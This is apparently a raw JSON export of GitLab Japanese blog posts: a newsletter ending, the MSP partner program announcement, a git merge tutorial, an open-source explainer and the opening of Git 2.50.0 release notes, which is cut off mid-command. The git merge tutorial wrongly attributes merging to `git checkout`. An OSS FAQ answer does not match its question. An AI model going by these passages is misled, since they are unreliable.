Staplesは、AI時代におけるソフトウェアデリバリーについて語っています。\n\nまた、Chief Product and Marketing OfficerのManav Khuranaは、AIが単なる高速なコード生成を超え、品質、セキュリティ、そしてライフサイクル全体の最適化へと拡張されることで、真にイノベーションサイクルの加速が実現することを探っています。\n\nさらに、セキュリティリーダーシップの観点からは、ソフトウェアライフサイクル全体におけるAI主導の変化に対応するため、エンタープライズがどのように組織構造モデルを進化させる必要があるのかという議論が続いています。\n\nポイントソリューションを超え、システム全体の変革を見据えている方にとって、これらの視点は一読の価値があります。\n\n[Intelligent Orchestration: Software Delivery for the AI Era, with CEO of GitLab](https://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab)\n\n[GitLab CEO on why AI isn’t helping enterprises ship code faster](https://thenewstack.io/gitlab-ceo-on-why-ai-isnt-helping-enterprise-ship-code-faster/)[](https://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab)[](https://www.cxotalk.com/episode/intelligent-orchestration-software-delivery-for-the-ai-era-with-ceo-of-gitlab)\n\n[From faster coding to accelerated innovation cycles: How intelligent orchestration unlocks AI's promise](https://www.runtime.news/from-faster-coding-to-accelerated-innovation-cycles-how-intelligent-orchestration-unlocks-ais-promise/)\n\n[The one structural shift CISOs must make before AI outpaces their security strategy](https://thenewstack.io/federate-security-gitlab/)[](https://www.runtime.news/from-faster-coding-to-accelerated-innovation-cycles-how-intelligent-orchestration-unlocks-ais-promise/)\n\n最後に、インテリジェント・オーケストレーションの本質を表す言葉をご紹介します。\n\n> 「全体は部分の総和に勝る。」― アリストテレス\n\nインテリジェント・オーケストレーションは、まさにこの考えを体現しています。\n\nAIが孤立した場面で活用されるだけでは、その効果は限定的です。しかし、統一されたコンテキストとエンタープライズのガードレールのもとで、エージェントがソフトウェアライフサイクル全体にわたり協調すれば、その成果は実際に測定可能なソフトウェア開発速度として現れます。\n\nお読みいただきありがとうございました。ウェブキャストやIssueでお会いできるのを楽しみにしています。そして、これからも対話を続けていきましょう。それでは、いつものようにHappy Merging!\n\n![](https://res.cloudinary.com/about-gitlab-com/image/upload/v1770180580/nz0ipehzgtcb757kl0ux.png)\n\n[Fatima Sarah Khalid](https://www.linkedin.com/in/sugaroverflow/?lipi=urn%3Ali%3Apage%3Ad_flagship3_pulse_read%3B3ix%2FZ9%2BgTBmIWuSHZsMZRw%3D%3D)｜Senior Developer Advocate, GitLab\n\nこのニュースレターが気に入ったら、ぜひチームに共有してください。\n そして👉[YouTubeチャンネル](https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg)の登録もお忘れなく！",{"featured":641,"template":796,"slug":1046},"monday-merge-2026-march-9",{"content":1048,"config":1057},{"title":1049,"description":1050,"authors":1051,"heroImage":1053,"date":1054,"body":1055,"category":719,"tags":1056},"GitLabマネージドサービスプロバイダー（MSP）パートナープログラムのご紹介","GitLabの支援のもと、収益性の高いサービス主導型DevSecOpsプラクティスを構築",[1052],"Karishma Kumar","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772047747/ntihfmnu2fepamqemaas.png","2026-02-26","*このブログは、GitLabプラクティスの構築を検討しているマネージドサービスプロバイダー（MSP）向けに執筆されています。デベロッパーやエンジニアリングリーダーの方にとっては、皆さまのようなチームのスケーリングと迅速な開発を支援するパートナーを強化するプログラムです。*\n\n多くの組織は、最新のDevSecOpsプラットフォームが必要であることを認識しています。しかし、ビジネスが求めるスピードでソフトウェアを提供しながら、プラットフォームのデプロイ、管理、継続的な最適化を行うリソースが不足しているケースが少なくありません。これはMSPにとって大きなビジネスチャンスであり、GitLabはそれを支援する専用プログラムを用意しました。\n\nこのたび、**GitLab MSPパートナープログラム**を発表いたします。これは、認定を受けたMSPがGitLabをフルマネージドサービスとして顧客に提供できるようにする新しいグローバルプログラムです。\n\n## パートナーと顧客にとっての意義\n\nGitLabとして初めて、MSP向けに正式に定義されたグローバルプログラムが誕生しました。明確な要件、体系的なイネーブルメント、専任のサポート、そして実質的な経済的メリットが用意されており、パートナーは安心してGitLabマネージドサービスプラクティスの構築に投資できます。\n\nタイミングも最適です。多くの組織がDevSecOpsへの取り組みを加速させていますが、ソフトウェアの構築とリリースという本来の業務に加えて、複雑な移行、ツールチェーンの拡散、増大するセキュリティ要件への対応に追われているのが現状です。\n\nGitLab MSPパートナーは、デプロイ、移行、管理、継続的なサポートなど、プラットフォーム運用を担当することで、開発チームが本来の業務に集中できる環境を提供します。\n\n## MSPパートナーが得られるメリット\n\n**経済的メリット**：MSPパートナーは、すべての取引、新規ビジネス、更新において、GitLabパートナーマージンに加えてMSPプレミアムを獲得できます。さらに、デプロイ、移行、トレーニング、イネーブルメント、戦略コンサルティングに対して顧客に請求するサービス料の100%を保持できるため、単一のプラットフォームを中心に複数の継続的な収益源を構築できます。\n\n**イネーブルメントと教育**：バージョンアップデート、新機能、ベストプラクティス、ロードマップの最新情報、ピアシェアリングを網羅した四半期ごとのテクニカルブートキャンプにアクセスできます。推奨されるクラウド認定資格（AWS Solutions Architect Associate、GCP Associate Cloud Engineer）が技術基盤を補完します。\n\n**Go-to-Marketサポート**：MSPには、GitLab認定MSPパートナーバッジ、共同ブランド資産、顧客事例の共同作成への参加資格、Partner Locatorへの掲載、および認定されたデマンドジェネレーション活動向けのMarketing Development Funds（MDF）へのアクセスが提供されます。\n\n## 顧客が期待できること\n\nGitLab MSPパートナーと連携する顧客は、体系的なマネージドDevSecOpsエクスペリエンス、文書化された再現可能な実装方法論、定期的なビジネスレビュー、そして明確に定義された応答およびエスカレーションパスを備えたサポートを受けられます。\n\nその結果、開発チームは優れたソフトウェアの構築に集中でき、MSPパートナーがプラットフォームの運用と最適化に注力するという理想的な体制が実現します。\n\n## AIを活用した新たなビジネスチャンス\n\nソフトウェア開発ワークフローにAIを安全に導入したいと考える組織が増えており、経験豊富なチームであっても、大規模な展開には体系的なアプローチが有効です。GitLab MSPパートナーは、より広範なマネージドサービスの一環として、GitLab Duo Agent Platformの導入を顧客に提案できる最適なポジションにあります。\n\nGitLabのDevSecOpsプラットフォームとMSPが提供する運用の専門知識を組み合わせることで、顧客はガバナンスが確保された環境でAI支援ワークフローを試験的に導入し、データレジデンシーとコンプライアンス要件を満たしながら、社内リソースに過度な負担をかけることなくチーム全体でAI導入を拡大できます。\n\n## このプログラムはお客さまのビジネスに適していますか\n\nGitLab MSPパートナープログラムは、以下に該当する場合に最適です。\n\n* クラウド、インフラストラクチャ、またはアプリケーション運用のマネージドサービスを既に提供している\n* 高付加価値のDevSecOpsをポートフォリオに追加したい\n* 最新の開発プラットフォームに関心のある技術人材を擁している、または育成したい\n* 単発の取引よりも長期的な顧客関係を重視している\n\n既にGitLab SelectおよびProfessional Servicesパートナーである場合、MSPプログラムは既存の専門知識を再現可能なマネージドサービスに転換するための体系的な方法を提供します。\n\n## 開始方法\n\n本プログラムは、**認定MSPパートナー**の指定から開始されます。参加にあたり、最低ARRや顧客数の要件はありません。以下がプログラム参加までの流れです。\n\n1. **適合性の確認** - [ハンドブックページ](https://handbook.gitlab.com/handbook/resellers/channel-program-guide/#the-gitlab-managed-service-provider-msp-partner-program)に記載されたビジネスおよび技術要件を満たしているか確認します。\n2. **GitLabパートナーポータルから申請** - ビジネスおよび技術に関するドキュメントを添えて申請を提出します。\n3. **90日間のオンボーディングを完了** - 契約、技術イネーブルメント、セールストレーニング、最初の顧客エンゲージメントを網羅した体系的なオンボーディングプログラムです。\n4. **マネージドサービスの提供を開始** - サービスをパッケージ化し、SLAを設定して、顧客へのエンゲージメントを開始します。\n\n提出された申請は、約3営業日以内に審査されます。\n\n> GitLabマネージドサービスプラクティスの構築にご興味がありますか？新規パートナーの方は[GitLabパートナーへの申請](https://about.gitlab.com/partners/)からお申し込みいただけます。既存パートナーの方は、GitLab担当者にお問い合わせいただき、プログラムの詳細やMSPプラクティスを通じて現在顧客に提供しているソリューションについてお知らせください。\n",[695,719,257],{"featured":641,"template":796,"slug":1058},"introducing-the-gitlab-managed-service-provider-msp-partner-program",{"category":734,"slug":732,"posts":1060},[1061,1073,1085],{"content":1062,"config":1071},{"date":1063,"heroImage":1064,"title":1065,"authors":1066,"category":732,"body":1067,"description":1068,"tags":1069},"2025-08-04","https://res.cloudinary.com/about-gitlab-com/image/upload/v1754287290/averr2ecwl01q2f9lknf.jpg","git mergeコマンドの基本を徹底解説",[1016],"## 目次\n\n1. [git mergeとは？](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%81%A8%E3%81%AF%EF%BC%9F)\n2. [git mergeコマンドの基本](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E5%9F%BA%E6%9C%AC)\n3. [マージ先のブランチを準備する](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E3%83%9E%E3%83%BC%E3%82%B8%E5%85%88%E3%81%AE%E3%83%96%E3%83%A9%E3%83%B3%E3%83%81%E3%82%92%E6%BA%96%E5%82%99%E3%81%99%E3%82%8B)\n4. [最新のリモートコミットをフェッチする](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E6%9C%80%E6%96%B0%E3%81%AE%E3%83%AA%E3%83%A2%E3%83%BC%E3%83%88%E3%82%B3%E3%83%9F%E3%83%83%E3%83%88%E3%82%92%E3%83%95%E3%82%A7%E3%83%83%E3%83%81%E3%81%99%E3%82%8B)\n5. [早送りマージと３ウェイマージ](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#%E6%97%A9%E9%80%81%E3%82%8A%E3%83%9E%E3%83%BC%E3%82%B8%E3%81%A8%EF%BC%93%E3%82%A6%E3%82%A7%E3%82%A4%E3%83%9E%E3%83%BC%E3%82%B8)\n6. [git mergeによるコンフリクトの解決](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%81%AB%E3%82%88%E3%82%8B%E3%82%B3%E3%83%B3%E3%83%95%E3%83%AA%E3%82%AF%E3%83%88%E3%81%AE%E8%A7%A3%E6%B1%BA)\n7. [git mergeコマンドのベストプラクティス](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9)\n8. [GitLabでgit mergeを使う](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89%E3%81%AE%E3%83%99%E3%82%B9%E3%83%88%E3%83%97%E3%83%A9%E3%82%AF%E3%83%86%E3%82%A3%E3%82%B9)\n9. [git merge のFAQ](https://about.gitlab.com/ja-jp/blog/git-merge-command-overview/#git-merge%E3%82%B3%E3%83%9E%E3%83%B3%E3%83%89-%E3%81%AEfaq)\n\n## git mergeとは？\n\ngit mergeとは、分岐したブランチをmerge（マージ、統合すること）するコマンドのことです。別のリポジトリからの変更を組み込む際にも使われ、git pull（git fetchとgit mergeを組み合わせたもの）の一部としても機能します。チームで開発を実施するときなどにmainブランチから作業用ブランチを作り、テストをしてからマージ、プッシュすることも多いでしょう。\n\nたとえば、main ブランチに基づいて作成された新しいブランチ’feature’があるとします。この feature ブランチを main にマージするのに使われるのがgit mergeコマンドです。\n\n## git mergeコマンドの基本\n\ngit mergeの基本的なコードは次のようになります。\n\n```shell\ngit merge BRANCH_NAME\n```\n\nブランチ名は、取り込みたいブランチの名前を入力します。\n\n一見簡単そうですが、マージをスムーズに実行するにはいくつか準備が必要となりますので、次の章で確認しましょう。\n\n## マージ先のブランチを準備する\n\ngit status を実行して、HEAD が取り込む先のブランチであることを確認します。必要に応じて\n\n```shell\ngit checkout BRANCH_NAME\n```\n\nを実行して、マージする先のブランチに切り替えます。\n\n## 最新のリモートコミットをフェッチする\n\nリモートで変更を加えたら、マージ先ブランチとマージ元ブランチに最新の変更内容を反映させます。その際は、[git fetchとgit pull](https://about.gitlab.com/ja-jp/blog/what-is-the-difference-between-git-fetch-and-git-pull/)を使います。その後、リモートで加えた変更内容がmainブランチに反映されていることを確認します。\n\n## 早送りマージと３ウェイマージ\n\n早送りマージは、ブランチが分岐していない場合にのみ使えるコマンドです。早送りマージでは、マージ自体は行われませんが、ブランチの先頭とブランチの末尾の履歴を結合することで、旧ブランチからアクセスできたコミットが、新ブランチからも利用できるようになります。\n\n強制的に早送りマージを実施する場合は以下のコードを使います（分岐がある場合など早送りマージができない場合にはエラーとなりマージはできません）\n\n```shell\ngit merge --ff-only\n```\n\n一方、ブランチが分岐している場合には、早送りマージを適用することはできず、マージする手段は３ウェイマージに限られます。３ウェイマージは、3 つのコミット （2 つのブランチのそれぞれ先端のコミットと履歴を統合するために生成される専用のコミット）を使用してマージコミットを生成することから来ています。\n\n```shell\ngit checkout BRANCH_NAME\n```\n\nを使うと、早送りマージが可能な時は早送りマージを実施し、できない時に３ウェイマージを実施します。\n\n## git mergeによるコンフリクトの解決\n\nマージの基本を理解すると、同じ箇所を同時に更新してしまったらどうなるのか、という疑問を持たれる方もいるのではないでしょうか。この場合、Git側ではどちらを優先すべきか判断ができず、手作業でコンフリクトを解決することを求めます。\n\nエラーメッセージは次のように表示されます。\n\n```shell\ngit merge BRANCH_NAME\nAuto-merging index.html\nCONFLICT (content): Merge conflict in index.html\nAutomatic merge failed; fix conflicts and then commit the result.\n```\n\nコンフリクトを解決するまで、処理は中断されます。どのファイルでコンフリクトが発生してマージできなかったのを確認するにはgit status を実行します。\n\n```shell\ngit status\n```\n\n未解決のコンフリクトについては unmerged として表示されます。標準的なコンフリクトマーカーがファイルに追加されるため、該当ファイルから修正できます。git addを実行して、コンフリクトが解決したことを Git に通知します。続いて通常の git commit を実行してマージ コミットを生成します。\n\n## git mergeコマンドのベストプラクティス\n\ngit mergeコマンドでよく起こる問題として、他のデベロッパーが加えた変更を破棄してしまうことが挙げられます。個々人がこまめにgit mergeを実行することで、変更を破棄してしまう問題は避けることができますが、マージそのもののコストが膨れ上がる可能性があります。複雑なコンフリクトが出ない場合に自動マージしてくれるようなツールの導入は、git mergeを使うチームの大きな手助けになるはずです。\n\n## GitLabでgit mergeを使う\n\ngit mergeのベストプラクティスとしてツールの使用をおすすめしましたが、[GitLab](https://about.gitlab.com/ja-jp/)なら自動マージ機能のほかにもリモートリポジトリのホスティング、インターフェースの提供、変更内容のコードレビュー、プッシュされたコードの自動ビルド、テスト、デプロイまでを一括で管理できます。\n\ngit mergeで起きるコンフリクトを自動で解決できるGitLabの無料トライアルは[こちら](https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com/ja-jp/&glm_content=default-saas-trial)からお申し込みいただけます。\n\n## git mergeコマンド のFAQ\n\n### git mergeコマンドとは何ですか？\n\ngit mergeとは、分岐したブランチをmerge（マージ、統合すること）するコマンドのことです。\n\n### mainブランチにマージするにはどうしたらいいですか？\n\nまず、\u003Ccode>git checkout BRANCH_NAME\u003C/code>を使ってmainブランチに移動します。\n\n次に\u003Ccode>git merge BRANCH_NAME\u003C/code>を使ってマージしたいブランチを指定します。\n\nマージ先ブランチ名）master\\\nマージするブランチ名）feature1の場合には\n\n```xml\n\u003Ccode>git checkout master\u003C/code>\n\u003Ccode>git merge feature1\u003C/code>\n```\n\n\\\nとなります。\n\n### git mergeとgit rebaseの違いは何ですか？\n\ngit mergeとgit rebaseはどちらもブランチを結合するコマンドです。mergeが新しいコミットを生成してコミット履歴が分散してしまうのに対し、rebaseはコミット履歴をひとつのブランチにまとめます。rebaseはログを整理する目的で使われることが多いですが、別のブランチで他のメンバーが加えた変更の履歴を消してしまう可能性などがあるので、上級者向けのコマンドといえます。\n\n*監修：知念 梨果* *[@rikachinen](https://gitlab.com/rikachinen)（GitLab合同会社 カスタマーサクセス本部 カスタマーサクセスエンジニア）*\n","この記事では、git mergeコマンドについてコマンドの基本的な使い方からリクエストコードまで解説します。",[951,993,822,1070],"workflow",{"featured":13,"template":796,"slug":1072},"git-merge-command-overview",{"content":1074,"config":1083},{"title":1075,"description":1076,"authors":1077,"heroImage":1078,"date":1079,"body":1080,"category":732,"tags":1081},"オープンソースソフトウェア（OSS）とは？詳しく解説​","オープンソースの意味や、メリットとデメリットについて、分かりやすく解説します。",[1016],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752720740/g9x8oi988xuhioglpczi.jpg","2025-07-17","## オープンソースとは？\n\nオープンソースとは、ソフトウェアのコードが公開され、誰もが利用、改良、再配布できるという仕組みのことを指します。「オープンソースソフトウェア」と同義で使用されることが多いです。\n\n## オープンソースソフトウェア（OSS）とは？\n\nオープンソースソフトウェアはOSSとも記述され、Open Source Softwareの略称です。一般的な商用ソフトウェアとは異なり、誰でも利用、改良、再配布ができるようソースコードが公開されています。これにより個人や企業のデベロッパーは、各々の環境に合わせてソフトウェアを自由に改変し、特定の用途や問題に最適化することが容易にできます。ただし、OSSによってはライセンス制約が存在する場合もあります。\n\nフリー（無料）ソフトと混同されることがありますが、フリーソフトのほとんどはソースコードが非公開です。よって、ソースコードが公開されているかどうかで、OSSかの判断をするのが一般的です。\n\n## オープンソースソフトウェアの基本原則\n\nオープンソフトウェアに明確な定義はありませんが、「ソースコードが公開されていること」以外にも広く認知されている要件があります。これら要件は、米国のOpen Source Initiative（OSI）という団体が提唱した以下10項目を指すのが一般的です。\n\n* 再配布の自由\n* ソースコードの配布\n* 派生ソフトウェアの配布許可\n* 作成者のオリジナルコードの完全性\n* 個人やグループに対する差別禁止\n* 使用分野に対する差別禁止\n* ライセンスの配布\n* 特定製品でのみ有効なライセンスの禁止\n* 他ソフトウェアを制限するライセンスの禁止\n* ライセンスの技術的中立\n\n要約するとOSSの基本原則は、ユーザーやデベロッパーに自由を提供し、協力的な環境を促進することと言えます。ただし、「自由」ではあるものの、ライセンスによって一定のルールは設定されています。例えば、GPLやMITライセンスは、OSSに付随するライセンスの利用や再配布、改変の範囲を規定し、自由利用を促進しつつも、デベロッパーやユーザーの権利を保護しています。OSS利用の際は、こういったライセンスルールを理解し、遵守することを忘れないようにしましょう。ライセンスについては後ほど詳しく解説します。\n\n## オープンソースソフトウェアの具体例\n\nどういったソフトウェアがOSSなのかと問われると、すぐには思いつかないかもしれません。実際に、どういったソフトが様々な分野で活躍しているのかいくつかご紹介しましょう。\n\n### WordPress\n\nWordPressという名前は、誰もが一度は聞いたことがあるでしょう。WordPressはウェブサイトを簡単に作成できるコンテンツ管理システム（CMS）で、世界中でもっとも利用されているCMSとなっています。ウェブサイトデベロッパーは自由にカスタマイズを行うことができ、また、活発なコミュニティで互いをサポートし合うことにより、新たな拡張機能の開発等に貢献しています。\n\n### GIMP\n\nGIMPは、イラストレーター、グラフィックデザイナー、フォトグラファー、サイエンティストなど画像を扱う専門家に人気の画像編集ソフトウェアです。ユーザーは無料でダウンロードして利用でき、WordPressと同じく活発なコミュニティが、日々のバグ修正や、新プラグインを開発をサポートしています。\n\n### Brave Browser\n\nBraveは、ユーザーのプライバシー保護を主眼としたウェブブラウザであり、広告やトラッキングを防止してくれます。さらに、独自の暗号通貨（BAT）や検索システムを開発しているなどの理由で、デベロッパー間では人気のブラウザの一つです。Braveもオープンソースであるため、個人が自由にブラウザ機能をカスタマイズしたり、新たに機能を追加したりすることができる仕様となっています。\n\n### GitLabのオープンソースプロジェクト\n\n[GitLabプラットフォーム](https://about.gitlab.com/ja-jp/)を利用して開発されているオープンソースプロジェクトをいくつかご紹介します。\n\n#### Drupal\n\nDrupalはWordPressと同様に、オープンソースのコンテンツ管理システム（CMS）です。堅牢性と拡張性の高さが評価されており、NASAや経済産業省といった政府機関や、Teslaなどの企業に採用されています。\n\n#### VLC\n\nWindowsやMacにとどまらず、LinuxやiOS等でも使うことできる、メディアプレイヤーです。多様な種類の音声や動画ファイルを再生でき、様々なファイル形式に対応しています。広告等、ユーザーにとって不要な機能が一切搭載されておらず、世界中で広く利用されています。\n\n#### LibreOffice\n\nMicrosoft Officeとよく比較されることがあるのが、LibreOfficeです。無料で利用することができ、様々なオフィスツールを提供することから、たくさんの企業や個人に使用されています。\n\n## オープンソース開発のメリットとデメリット\n\nOSSの開発には様々なメリットとデメリットがあります。開発手法についての議論は付きませんが、ここでは言及されることが多いポイントをいくつか挙げてみます。\n\n### メリット\n\n#### コミュニティによる自発的なサポートと開発\n\nオープンソース開発は通常、世界中のデベロッパーが参加した活発なコミュニティを形成しています。多種多様なバックグランドを持つ個々のユーザーたちがお互いにアイデアやフィードバック、サポートし合うことを基本とし、継続的な開発とサポートをしてくれます。\n\n#### 高い透明性に担保された信頼とセキュリティ\n\nOSSの信頼とセキュリティは、誰もがソースコードを参照できることで実現されています。\n\nまず、たくさんのデベロッパーの目に触れるため、脆弱性やバグが比較的早い段階で発見されます。これにより、セキュリティを高レベルに引き上げることができます。そして、ソースコードが公開されているため、不正な動作やバックドアの存在といったリスクを排除しやすく、ソフトウェアの信頼性を高めてくれます。\n\n#### 開発にかかる時間と費用の削減\n\nオープンソースソフトウェアは大抵が無料で、自由にソースコードを改変できます。よって、ライセンス料とスクラッチ開発が不要であり、個人や企業の費用と開発時間を大幅に削減してくれます。\n\n### デメリット\n\n#### 開発プロジェクトの継続性\n\nオープンソース開発は、有志が中心となって行われる場合が多いため、プロジェクトが遅延したり、突然中止となったりするリスクがあります。また、安定した開発スケジュールが維持されないこともあります。\n\nプロジェクトの多くは無償、スポンサー、寄付で成り立っていることが一般的なので、開発コアメンバーが抜けた、資金が枯渇してしまった、などの理由から開発自体が立ち行かなくなることもあります。\n\n#### 責任の所在が曖昧\n\nコミュニティ主導で開発が進められる場合、ユーザーにバグや他ソフトと統合できないといった問題が発生しても商用ソフトウェアとは異なり、自己解決しなくてはならないケースが通常です。迅速かつ的確なサポートが受けづらいケースも、発生することがあります。\n\n#### ライセンスの準拠で\n\n当然ながら、OSSにもライセンスが存在します。無条件に利用や再配布ができるわけではないので、しっかりとライセンスを理解した上で使用しなければいけません。ライセンス規約に違反してしまい、過去には訴訟に発展したケースもあるため、注意が必要です。詳しくは後ほど解説します。\n\n### オープンソースの課題とGitLabのアプローチ\n\nGitLabというプラットフォームが、OSSにおける課題に対してどう取り組んでいるかについて、いくつかご紹介しましょう。詳細を知りたい場合は、[オープンソースプロジェクト向けのGitLabソリューション](https://about.gitlab.com/ja-jp/solutions/open-source/)を読んでみてください。\n\n#### 脆弱性の早期発見と修正\n\nオープンソースは、コードが公開されているため、悪意のある人物が脆弱性を発見してしまうリスクがあります。\n\n[DevSecOpsプラットフォーム](https://about.gitlab.com/ja-jp/topics/devsecops/)であるGitLabは、開発プロセス全体においてセキュリティを重要視しています。静的アプリケーションセキュリティテスト（SAST）や依存関係スキャンといった強力なツールが、早期の脆弱性発見と修正を実現する仕組みを実現します。\n\n#### サポートの補完\n\nOSSはコミュニティによるサポートが中心となり、的確なサポートや迅速な対応を受けられないケースが発生することがあります。\n\n[商用版GitLab](https://about.gitlab.com/ja-jp/pricing/)には、「GitLab Premium」「GitLab Ultimate」があり、公式サポートという選択肢が用意されています。また、コミュニティの結束を高める働きかけをすることで自発的サポートも促進しています。\n\n#### コミュニティの活性化\n\n活発なコミュニティなしに、OSSを成功させることはできませんが、これを維持するのは容易ではありません。\n\nGitLabは、[GitLabフォーラム](https://forum.gitlab.com/c/community/gitlab-for-open-source/49)を運営したり、[オープンソース団体向けプログラム](https://about.gitlab.com/ja-jp/solutions/open-source/join/)を実施、GitLabハッカソンやオンラインイベントを開催したりすることで、デベロッパー同士の繋がりを促進、コミュニティの活性化と拡大に貢献しています。\n\n## オープンソースのライセンスとその重要性\n\nオープンソースのライセンスは、ソフトウェアの利用、配布、変更等に関する権利と制限を明記したものであり、法的拘束力を持ちます。よって、ソフト利用者はこれをしっかりと理解した上で、トラブル回避をすることが望ましいといえます。\n\nまた、ソフトウェアデベロッパーがどのライセンス規約にするかを考える場合には、透明性を重視するのか、自由度を重視するのかなどにより選択するライセンスが異なってきます。ここでは、いくつか代表的なものをご紹介しましょう。\n\n以下に表としてまとめてみました。\n\n![オープンソース　ライセンスのタイプと代表例](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752720035/v9ld6h78ilk22x30nged.jpg)\n\n### コピーレフト\n\nコピーレフトライセンスは、元となるソフトウェアを再配布する時には、派生物も元OSSと同じ条件下で行う必要があるというものです。このタイプのライセンスは、非常に伝播性が強いのが特徴です。\n\nまたコピーレフトという言葉は、「コピーライト」をもじったものから誕生しました。\n\n### 準コピーレフト\n\nコピーレフトと比べ、伝播性が多少弱いのが準コピーレフトです。元のOSSのソースコードを再利用した時に、元のライセンスと同条件で再配布する必要があります。\n\n### 非コピーレフト\n\nパーミッシブライセンスとも呼ばれます。名前の通りですが、元のOSSと同条件のライセンスにする必要がありません。ソースコードの公開義務がないため、商用利用されることが多いです。\n\n## よくある質問\n\n### オープンソースソフトウェア（OSS）とは何ですか？\n\nOSSとは、ソースコードが公開され、誰でも自由に利用、修正、配布できるソフトウェアのことです。\n\n### OSSのセキュリティは安心ですか？\n\nOSSライセンスは、ソフトウェアの利用や再配布に関する自由と制約を明確に定義したものです。\n\n### OSSのライセンスにはどんな種類がありますか？\n\nライセンスにはGPL、MIT、Apache Licenseなど、異なる自由度や利用条件を持つものがあり、コピーレフト、準コピーレフト、非コピーレフトの３つに大別されます。\n\n### なぜ企業がOSSを採用するのですか？\n\nコスト削減、柔軟性、信頼性向上、技術コミュニティとの連携が理由となる場合が多いです。またGitLabでは、[オープンソースプロジェクト向けのソリューション](https://about.gitlab.com/ja-jp/solutions/open-source/)を提供しています。ぜひご確認ください。\n\n*監修：佐々木 直晴* [@naosasaki](https://gitlab.com/naosasaki)*（GitLab合同会社 ソリューションアーキテクト本部 シニアソリューションアーキテクト）*",[951,242,1082,757],"open source",{"featured":13,"template":796,"slug":1084},"what-is-open-source",{"content":1086,"config":1095},{"title":1087,"description":1088,"authors":1089,"heroImage":1091,"body":1092,"date":1093,"category":732,"tags":1094},"Git 2.50.0の新機能","git-diff-pairs(1)コマンドや、参照の一括更新を行うためのgit-rev-list(1)オプションなど、GitLabのGitチームとGitコミュニティによるコントリビュートをご紹介します。",[1090],"Justin Tobler","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663087/Blog/Hero%20Images/git3-cover.png","Gitプロジェクトは最近、[Gitバージョン2.50.0](https://lore.kernel.org/git/xmqq1prj1umb.fsf@gitster.g/T/#u)をリリースしました。今回のリリースの注目すべきポイントをいくつかご紹介します。これには、GitLabのGitチームやより広範なGitコミュニティからのコントリビュートも含まれています。\n## 新しいgit-diff-pairs(1)コマンド\n\n差分は、すべてのコードレビューの中心となるもので、2つのリビジョン間で行われた\nすべての変更を表示します。GitLabでは、さまざまな場所で差分が表示されますが、最も\n一般的なのはマージリクエストの[「変更」タブ](https://docs.gitlab.com/user/project/merge_requests/changes/)です。\nその裏側では、差分の生成に[`git-diff(1)`](https://git-scm.com/docs/git-diff)が\n使われています。たとえば、以下のように使います。\n\n```shell\n$ git diff HEAD~1 HEAD\n```\n\nこのコマンドは、変更されたすべてのファイルの完全な差分を返します。ただし、リビジョン間で変更されたファイル数が非常に多い場合、スケーラビリティの課題が生じる可能性があります。GitLabのバックエンドでは、コマンドが自己設定されたタイムアウトに達してしまうこともあります。変更数が多い場合、\n差分の計算をより小さく扱いやすい単位に分割できる方法があれば、より効果的です。\n\nこの課題を解決する1つの方法は、\n[`git-diff-tree(1)`](https://git-scm.com/docs/git-diff-tree)を使って、\n変更されたすべてのファイルに関する情報を取得することです。\n\n```shell\n$ git diff-tree -r -M --abbrev HEAD~ HEAD\n:100644 100644 c9adfed339 99acf81487 M      Documentation/RelNotes/2.50.0.adoc\n:100755 100755 1047b8d11d 208e91a17f M      GIT-VERSION-GEN\n```\n\nGitはこの出力を[「raw」フォーマット](https://git-scm.com/docs/git-diff-tree#_raw_output_format)と呼んでいます。\n簡単に言えば、出力の各行にはファイルのペアと、\nそれらの間で何が変更されたかを示すメタデータが表示されます。大規模な変更に対して\n「パッチ」形式の出力を生成する方法と比べて、\nこの処理は比較的高速な上、すべての変更の概要を把握できます。また、このコマンドでは、`-M`フラグを付けることでリネーム検出を有効にし、変更がファイルのリネームによるものかどうかを判別することもできます。\n\nこの情報を使えば、`git-diff(1)`を使って各ファイルペアの差分を\n個別にコンピューティングすることができます。たとえば、以下のようにblob IDを\n直接指定することも可能です。\n\n```shell\n$ git diff 1047b8d11de767d290170979a9a20de1f5692e26 208e91a17f04558ca66bc19d73457ca64d5385f\n```\n\nこの処理は、各ファイルペアごとに繰り返すことができますが、\n個別のファイル差分ごとにGitプロセスを立ち上げるのは、あまり効率的ではありません。\nさらに、blob IDを使った場合、変更ステータスやファイルモードといった、\n親ツリーオブジェクトに格納されているコンテキスト情報が差分から失われてしまいます。\n本当に必要なのは、「raw」なファイルペア情報を元に、\n対応するパッチ出力を生成する仕組みです。\n\nバージョン2.50から、Gitに新しい組み込みコマンド\n[`git-diff-pairs(1)`](https://git-scm.com/docs/git-diff-pairs)が追加されました。このコマンドは、\n標準入力（stdin）から「raw」形式のファイルペア情報を受け取り、どのパッチを出力すべきかを正確に判断します。以下の例は、\nこのコマンドの使用方法を示しています。\n\n```shell\n$ git diff-tree -r -z -M HEAD~ HEAD | git diff-pairs 